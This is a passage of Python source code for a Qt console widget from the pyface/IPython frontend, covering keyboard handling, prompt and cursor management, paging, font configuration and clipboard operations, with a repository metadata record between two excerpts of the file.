cursor.beginEditBlock()
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
cursor.deletePreviousChar()
cursor.endEditBlock()
intercepted = True
# Regular backwards deletion
else:
anchor = cursor.anchor()
if anchor == position:
intercepted = not self._in_buffer(position - 1)
else:
intercepted = not self._in_buffer(min(anchor, position))
elif key == QtCore.Qt.Key_Delete:
# Line deletion (remove continuation prompt)
if not self._reading and self._in_buffer(position) and \
cursor.atBlockEnd() and not cursor.hasSelection():
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
cursor.removeSelectedText()
intercepted = True
# Regular forwards deletion:
else:
anchor = cursor.anchor()
intercepted = (not self._in_buffer(anchor) or
not self._in_buffer(position))
# Don't move the cursor if Control/Cmd is pressed to allow copy-paste
# using the keyboard in any part of the buffer.
if not self._control_key_down(event.modifiers(), include_command=True):
self._keep_cursor_in_buffer()
return intercepted
def _event_filter_page_keypress(self, event):
""" Filter key events for the paging widget to create console-like
interface.
"""
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
if ctrl_down:
if key == QtCore.Qt.Key_O:
self._control.setFocus()
intercept = True
elif alt_down:
if key == QtCore.Qt.Key_Greater:
self._page_control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._page_control.moveCursor(QtGui.QTextCursor.Start)
intercepted = True
elif key in (QtCore.Qt.Key_Q, QtCore.Qt.Key_Escape):
if self._splitter:
self._page_control.hide()
else:
self.layout().setCurrentWidget(self._control)
return True
elif key in (QtCore.Qt.Key_Enter, QtCore.Qt.Key_Return):
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageDown,
QtCore.Qt.NoModifier)
QtGui.QApplication.sendEvent(self._page_control, new_event)
return True
elif key == QtCore.Qt.Key_Backspace:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageUp,
QtCore.Qt.NoModifier)
QtGui.QApplication.sendEvent(self._page_control, new_event)
return True
return False
def _format_as_columns(self, items, separator=' '):
""" Transform a list of strings into a single string with columns.
Parameters
----------
items : sequence of strings
The strings to process.
separator : str, optional [default is two spaces]
The string that separates columns.
Returns
-------
The formatted string.
"""
# Note: this code is adapted from columnize 0.3.2.
# See http://code.google.com/p/pycolumnize/
# Calculate the number of characters available.
width = self._control.viewport().width()
char_width = QtGui.QFontMetrics(self.font).width(' ')
displaywidth = max(10, (width / char_width) - 1)
# Some degenerate cases.
size = len(items)
if size == 0:
return '\n'
elif size == 1:
return '%s\n' % items[0]
# Try every row count from 1 upwards
array_index = lambda nrows, row, col: nrows*col + row
for nrows in range(1, size):
ncols = (size + nrows - 1) // nrows
colwidths = []
totwidth = -len(separator)
for col in range(ncols):
# Get max column width for this column
colwidth = 0
for row in range(nrows):
i = array_index(nrows, row, col)
if i >= size: break
x = items[i]
colwidth = max(colwidth, len(x))
colwidths.append(colwidth)
totwidth += colwidth + len(separator)
if totwidth > displaywidth:
break
if totwidth <= displaywidth:
break
# The smallest number of rows computed and the max widths for each
# column has been obtained. Now we just have to format each of the rows.
string = ''
for row in range(nrows):
texts = []
for col in range(ncols):
i = row + nrows*col
if i >= size:
texts.append('')
else:
texts.append(items[i])
while texts and not texts[-1]:
del texts[-1]
for col in range(len(texts)):
texts[col] = texts[col].ljust(colwidths[col])
string += '%s\n' % separator.join(texts)
return string
def _get_block_plain_text(self, block):
""" Given a QTextBlock, return its unformatted text.
"""
cursor = QtGui.QTextCursor(block)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
cursor.movePosition(QtGui.QTextCursor.EndOfBlock,
QtGui.QTextCursor.KeepAnchor)
return cursor.selection().toPlainText()
def _get_cursor(self):
""" Convenience method that returns a cursor for the current position.
"""
return self._control.textCursor()
def _get_end_cursor(self):
""" Convenience method that returns a cursor for the last character.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
return cursor
def _get_input_buffer_cursor_column(self):
""" Returns the column of the cursor in the input buffer, excluding the
contribution by the prompt, or -1 if there is no such column.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return -1
else:
cursor = self._control.textCursor()
return cursor.columnNumber() - len(prompt)
def _get_input_buffer_cursor_line(self):
""" Returns the text of the line of the input buffer that contains the
cursor, or None if there is no such line.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return None
else:
cursor = self._control.textCursor()
text = self._get_block_plain_text(cursor.block())
return text[len(prompt):]
def _get_input_buffer_cursor_prompt(self):
""" Returns the (plain text) prompt for line of the input buffer that
contains the cursor, or None if there is no such line.
"""
if self._executing:
return None
cursor = self._control.textCursor()
if cursor.position() >= self._prompt_pos:
if cursor.blockNumber() == self._get_prompt_cursor().blockNumber():
return self._prompt
else:
return self._continuation_prompt
else:
return None
def _get_prompt_cursor(self):
""" Convenience method that returns a cursor for the prompt position.
"""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos)
return cursor
def _get_selection_cursor(self, start, end):
""" Convenience method that returns a cursor with text selected between
the positions 'start' and 'end'.
"""
cursor = self._control.textCursor()
cursor.setPosition(start)
cursor.setPosition(end, QtGui.QTextCursor.KeepAnchor)
return cursor
def _get_word_start_cursor(self, position):
""" Find the start of the word to the left the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
position -= 1
while position >= self._prompt_pos and \
not is_letter_or_number(document.characterAt(position)):
position -= 1
while position >= self._prompt_pos and \
is_letter_or_number(document.characterAt(position)):
position -= 1
cursor = self._control.textCursor()
cursor.setPosition(position + 1)
return cursor
def _get_word_end_cursor(self, position):
""" Find the end of the word to the right the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
end = self._get_end_cursor().position()
while position < end and \
not is_letter_or_number(document.characterAt(position)):
position += 1
while position < end and \
is_letter_or_number(document.characterAt(position)):
position += 1
cursor = self._control.textCursor()
cursor.setPosition(position)
return cursor
def _insert_continuation_prompt(self, cursor):
""" Inserts new continuation prompt using the specified cursor.
"""
if self._continuation_prompt_html is None:
self._insert_plain_text(cursor, self._continuation_prompt)
else:
self._continuation_prompt = self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
def _insert_html(self, cursor, html):
""" Inserts HTML using the specified cursor in such a way that future
formatting is unaffected.
"""
cursor.beginEditBlock()
cursor.insertHtml(html)
# After inserting HTML, the text document "remembers" it's in "html
# mode", which means that subsequent calls adding plain text will result
# in unwanted formatting, lost tab characters, etc. The following code
# hacks around this behavior, which I consider to be a bug in Qt, by
# (crudely) resetting the document's style state.
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() == ' ':
cursor.removeSelectedText()
else:
cursor.movePosition(QtGui.QTextCursor.Right)
cursor.insertText(' ', QtGui.QTextCharFormat())
cursor.endEditBlock()
def _insert_html_fetching_plain_text(self, cursor, html):
""" Inserts HTML using the specified cursor, then returns its plain text
version.
"""
cursor.beginEditBlock()
cursor.removeSelectedText()
start = cursor.position()
self._insert_html(cursor, html)
end = cursor.position()
cursor.setPosition(start, QtGui.QTextCursor.KeepAnchor)
text = cursor.selection().toPlainText()
cursor.setPosition(end)
cursor.endEditBlock()
return text
def _insert_plain_text(self, cursor, text):
""" Inserts plain text using the specified cursor, processing ANSI codes
if enabled.
"""
cursor.insertText(text)
def _insert_plain_text_into_buffer(self, cursor, text):
""" Inserts text into the input buffer using the specified cursor (which
must be in the input buffer), ensuring that continuation prompts are
inserted as necessary.
"""
lines = text.splitlines(True)
if lines:
cursor.beginEditBlock()
cursor.insertText(lines[0])
for line in lines[1:]:
if self._continuation_prompt_html is None:
cursor.insertText(self._continuation_prompt)
else:
self._continuation_prompt = \
self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
cursor.insertText(line)
cursor.endEditBlock()
def _in_buffer(self, position=None):
""" Returns whether the current cursor (or, if specified, a position) is
inside the editing region.
"""
cursor = self._control.textCursor()
if position is None:
position = cursor.position()
else:
cursor.setPosition(position)
line = cursor.blockNumber()
prompt_line = self._get_prompt_cursor().blockNumber()
if line == prompt_line:
return position >= self._prompt_pos
elif line > prompt_line:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
prompt_pos = cursor.position() + len(self._continuation_prompt)
return position >= prompt_pos
return False
def _keep_cursor_in_buffer(self):
""" Ensures that the cursor is inside the editing region. Returns
whether the cursor was moved.
"""
moved = not self._in_buffer()
if moved:
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
return moved
def _keyboard_quit(self):
""" Cancels the current editing task ala Ctrl-G in Emacs.
"""
if self._text_completing_pos:
self._cancel_text_completion()
else:
self.input_buffer = ''
def _page(self, text, html=False):
""" Displays text using the pager if it exceeds the height of the
viewport.
Parameters:
-----------
html : bool, optional (default False)
If set, the text will be interpreted as HTML instead of plain text.
"""
line_height = QtGui.QFontMetrics(self.font).height()
minlines = self._control.viewport().height() / line_height
if self.paging != 'none' and \
re.match("(?:[^\n]*\n){%i}" % minlines, text):
if self.paging == 'custom':
self.custom_page_requested.emit(text)
else:
self._page_control.clear()
cursor = self._page_control.textCursor()
if html:
self._insert_html(cursor, text)
else:
self._insert_plain_text(cursor, text)
self._page_control.moveCursor(QtGui.QTextCursor.Start)
self._page_control.viewport().resize(self._control.size())
if self._splitter:
self._page_control.show()
self._page_control.setFocus()
else:
self.layout().setCurrentWidget(self._page_control)
elif html:
self._append_plain_html(text)
else:
self._append_plain_text(text)
def _prompt_finished(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
self._control.setReadOnly(True)
self._prompt_finished_hook()
def _prompt_started(self):
""" Called immediately after a new prompt is displayed.
"""
# Temporarily disable the maximum block count to permit undo/redo and
# to ensure that the prompt position does not change due to truncation.
self._control.document().setMaximumBlockCount(0)
self._control.setUndoRedoEnabled(True)
self._control.setReadOnly(False)
self._control.moveCursor(QtGui.QTextCursor.End)
self._executing = False
self._prompt_started_hook()
def _readline(self, prompt='', callback=None):
""" Reads one line of input from the user.
Parameters
----------
prompt : str, optional
The prompt to print before reading the line.
callback : callable, optional
A callback to execute with the read line. If not specified, input is
read *synchronously* and this method does not return until it has
been read.
Returns
-------
If a callback is specified, returns nothing. Otherwise, returns the
input string with the trailing newline stripped.
"""
if self._reading:
raise RuntimeError('Cannot read a line. Widget is already reading.')
if not callback and not self.isVisible():
# If the user cannot see the widget, this function cannot return.
raise RuntimeError('Cannot synchronously read a line if the widget '
'is not visible!')
self._reading = True
self._show_prompt(prompt, newline=False)
if callback is None:
self._reading_callback = None
while self._reading:
QtCore.QCoreApplication.processEvents()
return self.input_buffer.rstrip('\n')
else:
self._reading_callback = lambda: \
callback(self.input_buffer.rstrip('\n'))
def _set_continuation_prompt(self, prompt, html=False):
""" Sets the continuation prompt.
Parameters
----------
prompt : str
The prompt to show when more input is needed.
html : bool, optional (default False)
If set, the prompt will be inserted as formatted HTML. Otherwise,
the prompt will be treated as plain text, though ANSI color codes
will be handled.
"""
if html:
self._continuation_prompt_html = prompt
else:
self._continuation_prompt = prompt
self._continuation_prompt_html = None
def _set_cursor(self, cursor):
""" Convenience method to set the current cursor.
"""
self._control.setTextCursor(cursor)
def _set_top_cursor(self, cursor):
""" Scrolls the viewport so that the specified cursor is at the top.
"""
scrollbar = self._control.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
original_cursor = self._control.textCursor()
self._control.setTextCursor(cursor)
self._control.ensureCursorVisible()
self._control.setTextCursor(original_cursor)
def _show_prompt(self, prompt=None, html=False, newline=True):
""" Writes a new prompt at the end of the buffer.
Parameters
----------
prompt : str, optional
The prompt to show. If not specified, the previous prompt is used.
html : bool, optional (default False)
Only relevant when a prompt is specified. If set, the prompt will
be inserted as formatted HTML. Otherwise, the prompt will be treated
as plain text, though ANSI color codes will be handled.
newline : bool, optional (default True)
If set, a new line will be written before showing the prompt if
there is not already a newline at the end of the buffer.
"""
# Insert a preliminary newline, if necessary.
if newline:
cursor = self._get_end_cursor()
if cursor.position() > 0:
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() != '\n':
self._append_plain_text('\n')
# Write the prompt.
self._append_plain_text(self._prompt_sep)
if prompt is None:
if self._prompt_html is None:
self._append_plain_text(self._prompt)
else:
self._append_html(self._prompt_html)
else:
if html:
self._prompt = self._append_html_fetching_plain_text(prompt)
self._prompt_html = prompt
else:
self._append_plain_text(prompt)
self._prompt = prompt
self._prompt_html = None
self._prompt_pos = self._get_end_cursor().position()
self._prompt_started()
#------ Signal handlers ----------------------------------------------------
def _adjust_scrollbars(self):
""" Expands the vertical scrollbar beyond the range set by Qt.
"""
# This code is adapted from _q_adjustScrollbars in qplaintextedit.cpp
# and qtextedit.cpp.
document = self._control.document()
scrollbar = self._control.verticalScrollBar()
viewport_height = self._control.viewport().height()
if isinstance(self._control, QtGui.QPlainTextEdit):
maximum = max(0, document.lineCount() - 1)
step = viewport_height / self._control.fontMetrics().lineSpacing()
else:
# QTextEdit does not do line-based layout and blocks will not in
# general have the same height. Therefore it does not make sense to
# attempt to scroll in line height increments.
maximum = document.size().height()
step = viewport_height
diff = maximum - scrollbar.maximum()
scrollbar.setRange(0, maximum)
scrollbar.setPageStep(step)
# Compensate for undesirable scrolling that occurs automatically due to
# maximumBlockCount() text truncation.
if diff < 0 and document.blockCount() == document.maximumBlockCount():
scrollbar.setValue(scrollbar.value() + diff)
def _cursor_position_changed(self):
""" Clears the temporary buffer based on the cursor position.
"""
if self._text_completing_pos:
document = self._control.document()
if self._text_completing_pos < document.characterCount():
cursor = self._control.textCursor()
pos = cursor.position()
text_cursor = self._control.textCursor()
text_cursor.setPosition(self._text_completing_pos)
if pos < self._text_completing_pos or \
cursor.blockNumber() > text_cursor.blockNumber():
self._clear_temporary_buffer()
self._text_completing_pos = 0
else:
self._clear_temporary_buffer()
self._text_completing_pos = 0
def _custom_context_menu_requested(self, pos):
""" Shows a context menu at the given QPoint (in widget coordinates).
"""
menu = self._context_menu_make(pos)
menu.exec_(self._control.mapToGlobal(pos))
| {
"repo_name": "pankajp/pyface",
"path": "pyface/ui/qt4/console/console_widget.py",
"copies": "2",
"size": "74758",
"license": "bsd-3-clause",
"hash": -8505472155044098000,
"line_mean": 38.977540107,
"line_max": 80,
"alpha_frac": 0.556743091,
"autogenerated": false,
"ratio": 4.656078724464375,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.001826849766769419,
"num_lines": 1870
} |
""" An abstract base class for console-type widgets.
"""
#-----------------------------------------------------------------------------
# Imports
#-----------------------------------------------------------------------------
# Standard library imports
import os.path
import re
import sys
from textwrap import dedent
from unicodedata import category
# System library imports
from IPython.external.qt import QtCore, QtGui
# Local imports
from IPython.config.configurable import LoggingConfigurable
from IPython.core.inputsplitter import ESC_SEQUENCES
from IPython.frontend.qt.rich_text import HtmlExporter
from IPython.frontend.qt.util import MetaQObjectHasTraits, get_font
from IPython.utils.text import columnize
from IPython.utils.traitlets import Bool, Enum, Integer, Unicode
from ansi_code_processor import QtAnsiCodeProcessor
from completion_widget import CompletionWidget
from completion_html import CompletionHtml
from completion_plain import CompletionPlain
from kill_ring import QtKillRing
#-----------------------------------------------------------------------------
# Functions
#-----------------------------------------------------------------------------
ESCAPE_CHARS = ''.join(ESC_SEQUENCES)
ESCAPE_RE = re.compile("^["+ESCAPE_CHARS+"]+")
def commonprefix(items):
"""Get common prefix for completions
Return the longest common prefix of a list of strings, but with special
treatment of escape characters that might precede commands in IPython,
such as %magic functions. Used in tab completion.
For a more general function, see os.path.commonprefix
"""
# the last item will always have the least leading % symbol
# min / max are first/last in alphabetical order
first_match = ESCAPE_RE.match(min(items))
last_match = ESCAPE_RE.match(max(items))
# common suffix is (common prefix of reversed items) reversed
if first_match and last_match:
prefix = os.path.commonprefix((first_match.group(0)[::-1], last_match.group(0)[::-1]))[::-1]
else:
prefix = ''
items = [s.lstrip(ESCAPE_CHARS) for s in items]
return prefix+os.path.commonprefix(items)
def is_letter_or_number(char):
""" Returns whether the specified unicode character is a letter or a number.
"""
cat = category(char)
return cat.startswith('L') or cat.startswith('N')
#-----------------------------------------------------------------------------
# Classes
#-----------------------------------------------------------------------------
class ConsoleWidget(LoggingConfigurable, QtGui.QWidget):
""" An abstract base class for console-type widgets. This class has
functionality for:
* Maintaining a prompt and editing region
* Providing the traditional Unix-style console keyboard shortcuts
* Performing tab completion
* Paging text
* Handling ANSI escape codes
ConsoleWidget also provides a number of utility methods that will be
convenient to implementors of a console-style widget.
"""
__metaclass__ = MetaQObjectHasTraits
#------ Configuration ------------------------------------------------------
ansi_codes = Bool(True, config=True,
help="Whether to process ANSI escape codes."
)
buffer_size = Integer(500, config=True,
help="""
The maximum number of lines of text before truncation. Specifying a
non-positive number disables text truncation (not recommended).
"""
)
gui_completion = Enum(['plain', 'droplist', 'ncurses'], config=True,
default_value = 'ncurses',
help="""
The type of completer to use. Valid values are:
'plain' : Show the availlable completion as a text list
Below the editting area.
'droplist': Show the completion in a drop down list navigable
by the arrow keys, and from which you can select
completion by pressing Return.
'ncurses' : Show the completion as a text list which is navigable by
`tab` and arrow keys.
"""
)
# NOTE: this value can only be specified during initialization.
kind = Enum(['plain', 'rich'], default_value='plain', config=True,
help="""
The type of underlying text widget to use. Valid values are 'plain',
which specifies a QPlainTextEdit, and 'rich', which specifies a
QTextEdit.
"""
)
# NOTE: this value can only be specified during initialization.
paging = Enum(['inside', 'hsplit', 'vsplit', 'custom', 'none'],
default_value='inside', config=True,
help="""
The type of paging to use. Valid values are:
'inside' : The widget pages like a traditional terminal.
'hsplit' : When paging is requested, the widget is split
horizontally. The top pane contains the console, and the
bottom pane contains the paged text.
'vsplit' : Similar to 'hsplit', except that a vertical splitter
used.
'custom' : No action is taken by the widget beyond emitting a
'custom_page_requested(str)' signal.
'none' : The text is written directly to the console.
""")
font_family = Unicode(config=True,
help="""The font family to use for the console.
On OSX this defaults to Monaco, on Windows the default is
Consolas with fallback of Courier, and on other platforms
the default is Monospace.
""")
def _font_family_default(self):
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
return 'Consolas'
elif sys.platform == 'darwin':
# OSX always has Monaco, no need for a fallback
return 'Monaco'
else:
# Monospace should always exist, no need for a fallback
return 'Monospace'
font_size = Integer(config=True,
help="""The font size. If unconfigured, Qt will be entrusted
with the size of the font.
""")
# Whether to override ShortcutEvents for the keybindings defined by this
# widget (Ctrl+n, Ctrl+a, etc). Enable this if you want this widget to take
# priority (when it has focus) over, e.g., window-level menu shortcuts.
override_shortcuts = Bool(False)
# ------ Custom Qt Widgets -------------------------------------------------
# For other projects to easily override the Qt widgets used by the console
# (e.g. Spyder)
custom_control = None
custom_page_control = None
#------ Signals ------------------------------------------------------------
# Signals that indicate ConsoleWidget state.
copy_available = QtCore.Signal(bool)
redo_available = QtCore.Signal(bool)
undo_available = QtCore.Signal(bool)
# Signal emitted when paging is needed and the paging style has been
# specified as 'custom'.
custom_page_requested = QtCore.Signal(object)
# Signal emitted when the font is changed.
font_changed = QtCore.Signal(QtGui.QFont)
#------ Protected class variables ------------------------------------------
# control handles
_control = None
_page_control = None
_splitter = None
# When the control key is down, these keys are mapped.
_ctrl_down_remap = { QtCore.Qt.Key_B : QtCore.Qt.Key_Left,
QtCore.Qt.Key_F : QtCore.Qt.Key_Right,
QtCore.Qt.Key_A : QtCore.Qt.Key_Home,
QtCore.Qt.Key_P : QtCore.Qt.Key_Up,
QtCore.Qt.Key_N : QtCore.Qt.Key_Down,
QtCore.Qt.Key_H : QtCore.Qt.Key_Backspace, }
if not sys.platform == 'darwin':
# On OS X, Ctrl-E already does the right thing, whereas End moves the
# cursor to the bottom of the buffer.
_ctrl_down_remap[QtCore.Qt.Key_E] = QtCore.Qt.Key_End
# The shortcuts defined by this widget. We need to keep track of these to
# support 'override_shortcuts' above.
_shortcuts = set(_ctrl_down_remap.keys() +
[ QtCore.Qt.Key_C, QtCore.Qt.Key_G, QtCore.Qt.Key_O,
QtCore.Qt.Key_V ])
_temp_buffer_filled = False
#---------------------------------------------------------------------------
# 'QObject' interface
#---------------------------------------------------------------------------
def __init__(self, parent=None, **kw):
""" Create a ConsoleWidget.
Parameters:
-----------
parent : QWidget, optional [default None]
The parent for this widget.
"""
QtGui.QWidget.__init__(self, parent)
LoggingConfigurable.__init__(self, **kw)
# While scrolling the pager on Mac OS X, it tears badly. The
# NativeGesture is platform and perhaps build-specific hence
# we take adequate precautions here.
self._pager_scroll_events = [QtCore.QEvent.Wheel]
if hasattr(QtCore.QEvent, 'NativeGesture'):
self._pager_scroll_events.append(QtCore.QEvent.NativeGesture)
# Create the layout and underlying text widget.
layout = QtGui.QStackedLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
self._control = self._create_control()
if self.paging in ('hsplit', 'vsplit'):
self._splitter = QtGui.QSplitter()
if self.paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
else:
self._splitter.setOrientation(QtCore.Qt.Vertical)
self._splitter.addWidget(self._control)
layout.addWidget(self._splitter)
else:
layout.addWidget(self._control)
# Create the paging widget, if necessary.
if self.paging in ('inside', 'hsplit', 'vsplit'):
self._page_control = self._create_page_control()
if self._splitter:
self._page_control.hide()
self._splitter.addWidget(self._page_control)
else:
layout.addWidget(self._page_control)
# Initialize protected variables. Some variables contain useful state
# information for subclasses; they should be considered read-only.
self._append_before_prompt_pos = 0
self._ansi_processor = QtAnsiCodeProcessor()
if self.gui_completion == 'ncurses':
self._completion_widget = CompletionHtml(self)
elif self.gui_completion == 'droplist':
self._completion_widget = CompletionWidget(self)
elif self.gui_completion == 'plain':
self._completion_widget = CompletionPlain(self)
self._continuation_prompt = '> '
self._continuation_prompt_html = None
self._executing = False
self._filter_drag = False
self._filter_resize = False
self._html_exporter = HtmlExporter(self._control)
self._input_buffer_executing = ''
self._input_buffer_pending = ''
self._kill_ring = QtKillRing(self._control)
self._prompt = ''
self._prompt_html = None
self._prompt_pos = 0
self._prompt_sep = ''
self._reading = False
self._reading_callback = None
self._tab_width = 8
# Set a monospaced font.
self.reset_font()
# Configure actions.
action = QtGui.QAction('Print', None)
action.setEnabled(True)
printkey = QtGui.QKeySequence(QtGui.QKeySequence.Print)
if printkey.matches("Ctrl+P") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
printkey = "Ctrl+Shift+P"
action.setShortcut(printkey)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.print_)
self.addAction(action)
self.print_action = action
action = QtGui.QAction('Save as HTML/XML', None)
action.setShortcut(QtGui.QKeySequence.Save)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.export_html)
self.addAction(action)
self.export_action = action
action = QtGui.QAction('Select All', None)
action.setEnabled(True)
selectall = QtGui.QKeySequence(QtGui.QKeySequence.SelectAll)
if selectall.matches("Ctrl+A") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
selectall = "Ctrl+Shift+A"
action.setShortcut(selectall)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.select_all)
self.addAction(action)
self.select_all_action = action
self.increase_font_size = QtGui.QAction("Bigger Font",
self,
shortcut=QtGui.QKeySequence.ZoomIn,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Increase the font size by one point",
triggered=self._increase_font_size)
self.addAction(self.increase_font_size)
self.decrease_font_size = QtGui.QAction("Smaller Font",
self,
shortcut=QtGui.QKeySequence.ZoomOut,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Decrease the font size by one point",
triggered=self._decrease_font_size)
self.addAction(self.decrease_font_size)
self.reset_font_size = QtGui.QAction("Normal Font",
self,
shortcut="Ctrl+0",
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Restore the Normal font size",
triggered=self.reset_font)
self.addAction(self.reset_font_size)
def eventFilter(self, obj, event):
""" Reimplemented to ensure a console-like behavior in the underlying
text widgets.
"""
etype = event.type()
if etype == QtCore.QEvent.KeyPress:
# Re-map keys for all filtered widgets.
key = event.key()
if self._control_key_down(event.modifiers()) and \
key in self._ctrl_down_remap:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
self._ctrl_down_remap[key],
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(obj, new_event)
return True
elif obj == self._control:
return self._event_filter_console_keypress(event)
elif obj == self._page_control:
return self._event_filter_page_keypress(event)
# Make middle-click paste safe.
elif etype == QtCore.QEvent.MouseButtonRelease and \
event.button() == QtCore.Qt.MidButton and \
obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
self._control.setTextCursor(cursor)
self.paste(QtGui.QClipboard.Selection)
return True
# Manually adjust the scrollbars *after* a resize event is dispatched.
elif etype == QtCore.QEvent.Resize and not self._filter_resize:
self._filter_resize = True
QtGui.qApp.sendEvent(obj, event)
self._adjust_scrollbars()
self._filter_resize = False
return True
# Override shortcuts for all filtered widgets.
elif etype == QtCore.QEvent.ShortcutOverride and \
self.override_shortcuts and \
self._control_key_down(event.modifiers()) and \
event.key() in self._shortcuts:
event.accept()
# Ensure that drags are safe. The problem is that the drag starting
# logic, which determines whether the drag is a Copy or Move, is locked
# down in QTextControl. If the widget is editable, which it must be if
# we're not executing, the drag will be a Move. The following hack
# prevents QTextControl from deleting the text by clearing the selection
# when a drag leave event originating from this widget is dispatched.
# The fact that we have to clear the user's selection is unfortunate,
# but the alternative--trying to prevent Qt from using its hardwired
# drag logic and writing our own--is worse.
elif etype == QtCore.QEvent.DragEnter and \
obj == self._control.viewport() and \
event.source() == self._control.viewport():
self._filter_drag = True
elif etype == QtCore.QEvent.DragLeave and \
obj == self._control.viewport() and \
self._filter_drag:
cursor = self._control.textCursor()
cursor.clearSelection()
self._control.setTextCursor(cursor)
self._filter_drag = False
# Ensure that drops are safe.
elif etype == QtCore.QEvent.Drop and obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
if self._in_buffer(cursor.position()):
text = event.mimeData().text()
self._insert_plain_text_into_buffer(cursor, text)
# Qt is expecting to get something here--drag and drop occurs in its
# own event loop. Send a DragLeave event to end it.
QtGui.qApp.sendEvent(obj, QtGui.QDragLeaveEvent())
return True
# Handle scrolling of the vsplit pager. This hack attempts to solve
# problems with tearing of the help text inside the pager window. This
# happens only on Mac OS X with both PySide and PyQt. This fix isn't
# perfect but makes the pager more usable.
elif etype in self._pager_scroll_events and \
obj == self._page_control:
self._page_control.repaint()
return True
return super(ConsoleWidget, self).eventFilter(obj, event)
#---------------------------------------------------------------------------
# 'QWidget' interface
#---------------------------------------------------------------------------
def sizeHint(self):
""" Reimplemented to suggest a size that is 80 characters wide and
25 lines high.
"""
font_metrics = QtGui.QFontMetrics(self.font)
margin = (self._control.frameWidth() +
self._control.document().documentMargin()) * 2
style = self.style()
splitwidth = style.pixelMetric(QtGui.QStyle.PM_SplitterWidth)
# Note 1: Despite my best efforts to take the various margins into
# account, the width is still coming out a bit too small, so we include
# a fudge factor of one character here.
# Note 2: QFontMetrics.maxWidth is not used here or anywhere else due
# to a Qt bug on certain Mac OS systems where it returns 0.
width = font_metrics.width(' ') * 81 + margin
width += style.pixelMetric(QtGui.QStyle.PM_ScrollBarExtent)
if self.paging == 'hsplit':
width = width * 2 + splitwidth
height = font_metrics.height() * 25 + margin
if self.paging == 'vsplit':
height = height * 2 + splitwidth
return QtCore.QSize(width, height)
#---------------------------------------------------------------------------
# 'ConsoleWidget' public interface
#---------------------------------------------------------------------------
def can_copy(self):
""" Returns whether text can be copied to the clipboard.
"""
return self._control.textCursor().hasSelection()
def can_cut(self):
""" Returns whether text can be cut to the clipboard.
"""
cursor = self._control.textCursor()
return (cursor.hasSelection() and
self._in_buffer(cursor.anchor()) and
self._in_buffer(cursor.position()))
def can_paste(self):
""" Returns whether text can be pasted from the clipboard.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
return bool(QtGui.QApplication.clipboard().text())
return False
def clear(self, keep_input=True):
""" Clear the console.
Parameters:
-----------
keep_input : bool, optional (default True)
If set, restores the old input buffer if a new prompt is written.
"""
if self._executing:
self._control.clear()
else:
if keep_input:
input_buffer = self.input_buffer
self._control.clear()
self._show_prompt()
if keep_input:
self.input_buffer = input_buffer
def copy(self):
""" Copy the currently selected text to the clipboard.
"""
self.layout().currentWidget().copy()
def cut(self):
""" Copy the currently selected text to the clipboard and delete it
if it's inside the input buffer.
"""
self.copy()
if self.can_cut():
self._control.textCursor().removeSelectedText()
def execute(self, source=None, hidden=False, interactive=False):
""" Executes source or the input buffer, possibly prompting for more
input.
Parameters:
-----------
source : str, optional
The source to execute. If not specified, the input buffer will be
used. If specified and 'hidden' is False, the input buffer will be
replaced with the source before execution.
hidden : bool, optional (default False)
If set, no output will be shown and the prompt will not be modified.
In other words, it will be completely invisible to the user that
an execution has occurred.
interactive : bool, optional (default False)
Whether the console is to treat the source as having been manually
entered by the user. The effect of this parameter depends on the
subclass implementation.
Raises:
-------
RuntimeError
